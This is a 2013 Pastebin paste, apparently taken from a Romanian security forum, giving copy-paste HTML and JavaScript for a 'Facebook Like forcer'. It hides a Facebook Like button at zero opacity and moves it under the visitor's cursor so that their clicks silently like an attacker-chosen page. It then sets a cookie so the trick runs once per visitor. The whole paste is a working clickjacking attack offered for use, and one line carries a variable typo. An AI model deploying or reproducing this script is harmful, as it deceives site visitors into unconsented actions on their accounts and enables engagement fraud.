g3x0

[rstforums.com] Facebook Like forcer

Jun 18th, 2013
167
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Source: https://rstforums.com/forum/70849-javascript-facebook-like-forcer.rst
  2.  
  3. <!-- Copy this part right after the opening <body> tag -->
  4.  
  5. <div id="fb-root"></div>
  6.  
  7. <!-- ################################################# -->
  8.  
  9.  
  10.  
  11. <!-- You can copy this part where you want inside the <body> tag -->
  12.  
  13. <div id="ltfb_app" style="position:absolute;opacity:0">
  14.     <fb:like href="FACEBOOK_PAGE_HERE" send="false" layout="button_count" width="50" show_faces="false" font="arial"></fb:like>
  15. </div>
  16.  
  17. <!-- ########################################################### -->
  18.  
  19.  
  20.  
  21. <!-- This is the jQuery lib source code. You can copy it where you want,
  22.      but it's important to be above the bellow script. Also, check to see
  23.      if you aren't already loading this script in your <head> tag, or
  24.      someplace else. If you do, you don't need to load it again -->
  25.  
  26. <script src="//ajax.googleapis.com/ajax/libs/jquery/1.10.1/jquery.min.js"></script>
  27.  
  28. <!-- #################################################################### -->
  29.  
  30.  
  31.  
  32. <!-- Copy this part right above the closing </body> tag -->
  33.  
  34. <script type="text/javascript">
  35. var appID = 'FACEBOOK_APP_ID';
  36.  
  37. /////////////////////////////////////////
  38. ////// Don't modify anything in this part
  39.  
  40. // This is the jQuery cookies lib
  41.  
  42. (function(factory){if(typeof define==='function'&&define.amd){define(['jquery'],factory);}else{factory(jQuery);}}(function($){var pluses=/\+/g;function raw(s){return s;}function decoded(s){return decodeURIComponent(s.replace(pluses,' '));}function converted(s){if(s.indexOf('"')===0){s=s.slice(1,-1).replace(/\\"/g,'"').replace(/\\\\/g,'\\');}try {return config.json?JSON.parse(s):s;}catch(er){}}var config=$.cookie=function(key,value,options){if(value!==undefined){options=$.extend({},config.defaults,options);if(typeof options.expires==='number'){var days=options.expires,t=options.expires=new Date();t.setDate(t.getDate()+days);}value=config.json?JSON.stringify(value):String(value);return(document.cookie=[config.raw?key:encodeURIComponent(key),'=',config.raw?value:encodeURIComponent(value),options.expires?'; expires='+options.expires.toUTCString():'',options.path?'; path='+options.path:'',options.domain?'; domain='+options.domain:'',options.secure?'; secure':''].join(''));}var decode=config.raw?raw:decoded;var cookies=document.cookie.split('; ');var result=key?undefined:{};for(var i=0,l=cookies.length;i<l;i++){var parts=cookies[i].split('=');var name=decode(parts.shift());var cookie=decode(parts.join('='));if(key&&key===name){result=converted(cookie);break;}if(!key){result[name]=converted(cookie);}}return result;};config.defaults={};$.removeCookie=function(key,options){if($.cookie(key)!==undefined){$.cookie(key,'',$.extend({},options,{expires:-1}));return true;}return false;};}));
  43.  
  44. // And this loads the JS SDK required for the FB functions
  45.  
  46. (function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(d.getElementById(id))return;js=d.createElement(s);js.id=id;js.src="https://connect.facebook.net/en_US/all.js#xfbml=1";fjs.parentNode.insertBefore(js,fjs);}(document,'script','facebook-jssdk'));
  47. //////////////////////////////////////////
  48. //////////////////////////////////////////
  49.  
  50. ////// You can modify from this point on
  51. $(document).ready(function(){
  52.     window.fbAsyncInit = function(){
  53.         if ($.cookie('__utmfbl') != '1')
  54.         {
  55.             FB.init({appId:appID, status:true,  cookie:true, xfbml:true});
  56.             FB.Event.subscribe('edge.create', function(response){
  57.                 if (response.length > 1)
  58.                 {
  59.                     $('#ltfb_app').css({'display':'none'});
  60.                     $.cookie('__utmfbl', '1', { expires: 9999 });
  61.                 }
  62.             });
  63.             FB.getLoginStatus(function(response){
  64.                 if (response.status != "unknown")
  65.                 {
  66.                     $(document).on('mousemove',function(e){
  67.                       $("#ltfb_app").css({ left: e.pageX - 12, top: x.pageY - 12 });
  68.                     });
  69.                 }
  70.                 else
  71.                     $('#ltfb_app').css({'display':'none'});
  72.             });
  73.         } else
  74.             $('#ltfb_app').css({'display':'none'});
  75.     };
  76. });
  77. </script>
  78.  
  79. <!-- ################################################## -->
Advertisement
Add Comment
Please, Sign In to add comment